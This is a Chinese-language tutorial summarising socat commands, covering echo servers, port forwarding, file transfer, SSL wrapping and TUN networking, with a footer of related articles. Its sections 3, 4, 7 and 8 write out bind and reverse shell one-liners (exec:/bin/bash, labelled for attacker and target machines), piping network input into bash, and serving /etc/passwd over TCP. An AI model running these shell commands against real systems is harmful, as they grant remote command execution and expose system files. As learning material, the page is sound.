Socat 命令总结

发布时间:2026/10/21 2:15:43

Socat 命令总结 事以密成语以泄败。导航介绍基本语法用法示例1. 回显输入2. 回显输入 over TCP/UDP3. 正向连接 shell4. 反向连接 shell5. 端口转发6. 网络服务7. 文件传输8. 管道传输9. 加密传输10. TUN 网络杂项介绍Socat是一个功能强大的网络工具相当于是增强版 netcat它可以在两个数据流之间建立通道且支持的数据流类型非常丰富例如TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。基本语法socat[OPTION]ADDRESS_1[,OPTS]ADDRESS_2[,OPTS]ADDRESS_1和ADDRESS_2表示两个通信的端点即数据流。OPTION用于设置全局选项比如单向模式、调试模式、日志级别等。【注单向模式中的 -u 表示左流向右-U 表示右流向左不加则表示双向模式。】OPTS用于设置数据流的选项不同类型的数据流对应的选项亦有所区别常用的选项是 fork、reuseaddr。用法示例1. 回显输入socat - -#STDIO STDIO说明在终端输入什么就输出什么。2. 回显输入 over TCP/UDPsocat - tcp-listen:1234,fork#STDIO TCP 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口socat - udp4-listen:1234,bind192.168.56.20,fork#STDIO UDP 服务端仅监听192.168.56.20接口的1234端口socat - udp4:192.168.56.20:1234#STDIO UDP 客户端连接1234端口说明客户端将输入的数据通过 tcp/udp 通道传输给服务端而服务端又将接收的数据再传输给标准输出。3. 正向连接 shellsocat tcp-listen:1234,fork exec:/bin/bash#TCP EXEC 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口说明服务端将接收到的数据传输给 bash 进程bash 处理之后将结果返回给客户端的标准输出。,4. 反向连接 shellsocat - tcp-listen:1234,fork#STDIO TCP 攻击机监听1234端口socat EXEC:/bin/bash tcp:127.0.0.1:1234#EXEC TCP 靶机连接1234端口#socat - tcp:127.0.0.1:1234 #STDIO TCP 靶机连接1234端口说明攻击机将输入的数据传输给连接它的靶机而靶机又将数据传递给了 bash 进程经其处理之后返回结果到攻击机。【注意如果有多个靶机同时连接攻击机那么攻击机的输入会随机被传递给其中一个靶机而不是同时传递给所有靶机。】5. 端口转发socat tcp-listen:1234,fork tcp:127.0.0.1:8080#TCP TCP说明将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】6. 网络服务socat-Utcp-listen:1234,fork open:test.txt#TCP OPEN说明将文件内容作为服务响应返回。【注意此时最好使用-U单向模式(右向左)否则请求可能会覆盖文件内容。】7. 文件传输socat-Utcp-listen:1234,fork open:/etc/passwd#TCP OPEN 发送端socat-utcp:127.0.0.1:1234 open:./passwd.txt,create#TCP OPEN 接收端说明发送端将文件数据传输给连接到监听端口的接收端接收端又将收到的数据打包到新文件中。【注意单向模式的使用】8. 管道传输echook|socat - tcp-listen:1234,fork#PIPE TCP#socat - tcp-listen:1234,fork | bash #TCP PIPE说明1将 echo 输出的数据通过管道传递给连向监听端口的终端2将监听端口接收到的数据传递给 bash 进程处理。9. 加密传输socat openssl-listen:8443,certssl-cert.pem,keyssl-cert.key,verify0,fork tcp:127.0.0.1:8080#OPENSSL TCP OPENSSL 服务端#socat - openssl:127.0.0.1:8443,verify0 #OPENSSL 客户端#注当服务端不是转发给 http 服务时客户端需要此命令配合使用示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。#注功能测试时证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。说明监听 HTTPS 请求并将其转发到本地的 HTTP 服务。10. TUN 网络socat tcp-listen:1234,fork tun:192.168.1.1/24,up#TCP TUN 服务端socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up#TCP TUN 客户端说明所有连接到 TUN 服务端的终端全都接入了一个自建的 TUN 网络之中从而实现了异地组网。【在 Linux 中测试是成功的但是在 Windows 中测试时失败了。】杂项Socat 官网http://www.dest-unreach.org/socat/Socat for Windows https://github.com/StudioEtrange/socat-windowsSocat 预编译版本https://github.com/3ndG4me/socat我的博客园
延伸阅读

更多相关文章

2026/10/19 23:27:15

移动App发版避坑指南:签名、版本号与自动化检查全攻略

做移动开发这几年,如果说哪个环节最让我焦虑,那一定是发版这件事。平时写代码、做需求、修Bug,反馈链路都很短,代码有问题跑一次就能发现。但发版不一样,它是一场跨开发、测试、产品、运营的联合行为,任何一…

2026/10/19 22:50:45

Vue3从零入门完整指南:核心语法、组件通信与实战项目

最近有不少刚开始学前端的小伙伴问我:都 2026 年了,新手学 Vue 到底该学 Vue2 还是直接学 Vue3?我的建议非常明确: 直接上手 Vue3 。Vue3 是当前 Vue 生态的绝对主流,社区组件库、企业级项目、招聘要求都已经全面转向…

2026/10/21 2:10:58

网盘直链解析免费指南:4 步在 9 大网盘页面拿到下载直链

网盘直链解析免费指南:4 步在 9 大网盘页面拿到下载直链 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天…

2026/10/21 2:10:58

社区老年人健康管理系统:开题报告、需求分析与架构设计要点

1. 开题报告到底在写什么:先看清这个项目的地基写"社区老年人健康管理系统"这个开题报告,很多人第一反应是赶紧把系统功能列出来,画几个用例图,再贴一张技术框架图,就算完事。但我接触过不少这类项目——包括…

2026/10/19 18:06:35

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

2026/10/21 0:00:35

交通流仿真实战:IDM跟驰与MOBIL换道模型参数调优与避坑指南

简介:这份资源是面向交通工程学习者与Python开发者的微观交通流仿真项目,核心实现智能驾驶模型(IDM)下的车辆跟驰与换道行为,可用于理解速度、密度与流量之间的动态关系,适合具备Python基础、希望深入交通模…

2026/10/21 0:00:35

揭穿智能体表面顺从:用追踪代码重建任务执行确定性

1. 表面顺从不是智能体的“礼貌”,而是任务执行链路上的隐性断点最近在调试一个跨平台长周期任务调度系统时,我反复遇到一种令人困惑的现象:智能体在用户指令发出后,几乎秒级响应“已收到”“正在处理”“请稍候”,UI上…

2026/10/21 0:00:35

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

这段时间硬件圈和AI圈都在传一个事:AMD锐龙AI Max PRO 400系列把最高192GB统一内存搬进了PC形态的产品里,按宣传口径,本地跑320B参数的大家伙不再是纸面概念。我第一反应倒不是“内存真大”,而是这话背后的含金量——它把过去只能…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑